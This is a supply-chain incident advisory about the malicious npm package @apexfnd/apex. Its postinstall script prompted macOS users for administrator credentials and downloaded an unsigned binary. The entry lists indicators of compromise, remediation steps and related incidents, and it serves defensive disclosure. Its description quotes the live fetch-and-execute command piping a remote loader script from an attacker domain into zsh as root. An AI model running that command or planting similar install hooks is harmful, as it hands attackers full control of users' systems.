Malicious code in @apexfnd/apex (npm)
The npm package @apexfnd/apex contained a malicious postinstall script that executed remote code at install time. On macOS, it prompted for administrator credentials and executed a shell script as root; on all platforms, it downloaded and executed an unsigned binary from attacker-controlled infrastructure.
- Disclosed
- Last updated
- Blast radius
- All npm users who installed @apexfnd/apex during the malicious distribution period; macOS users face elevated risk due to root-privilege execution.
- Ecosystems
- Attack vectors
- Affected entities
- @apexfnd/apexnpm package containing malicious postinstall script
The npm package @apexfnd/apex shipped a postinstall script (install.cjs) that performed install-time remote-code-execution actions. On macOS, the script wrote an AppleScript to /tmp and invoked osascript to run curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root.\n\nOn all platforms, the package unconditionally downloaded a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex- and wrote it to the package's bin path with 0755 permissions, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) did not match the actual destinations (update.apex-arena-router.com, github.com/Apex-Foundation/copilot), indicating the fetched content was attacker-controlled.\n\nThe incident was identified and credited to the OpenSSF malicious-packages project. The package has been removed from npm distribution.
Indicators of compromise
- Packages
- @apexfnd/apex
- Domains
- update.apex-arena-router.com
- github.com
Remediation
- Immediately uninstall @apexfnd/apex from all systems
- Audit systems that installed this package for unauthorized changes, especially on macOS where root-level execution occurred
- Review shell history and system logs for evidence of the remote shell script execution
- Change passwords on any systems where the installer was prompted for administrator credentials
- Monitor for suspicious network connections to update.apex-arena-router.com or downloads from github.com/Apex-Foundation/copilot
- Use npm audit to identify any remaining malicious packages in your dependency tree
Sources
- GitHub Advisory GHSA-r3xx-75gm-53pm · GitHub Advisory Database
Cite this entry
"Malicious code in @apexfnd/apex (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed July 28, 2026; last updated July 28, 2026. https://supplychainattack.org/incident/malicious-code-in-apexfnd-apex-npm-velncv
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- containedcritical
Malware in @rentwise/common
Malware was discovered in the npm package @rentwise/common. Systems with this package installed are considered fully compromised and require immediate remediation including secret rotation and package removal.
npmCompromised package - containedcritical
Malware in @nasddatax/common
Malware was discovered in the npm package @nasddatax/common. Systems with this package installed or running should be considered fully compromised and require immediate remediation.
npmCompromised package - containedcritical
Malware in @voxepay/checkout
The npm package @voxepay/checkout contained malware that grants full system compromise to attackers. Any computer with this package installed or running should be considered fully compromised.
npmCompromised package - activecritical
Malware in @afasinatickets/common
The npm package @afasinatickets/common contains malware that grants full system compromise to an outside entity. All systems with this package installed should be considered fully compromised and all secrets and keys rotated immediately from a different computer.
npmCompromised package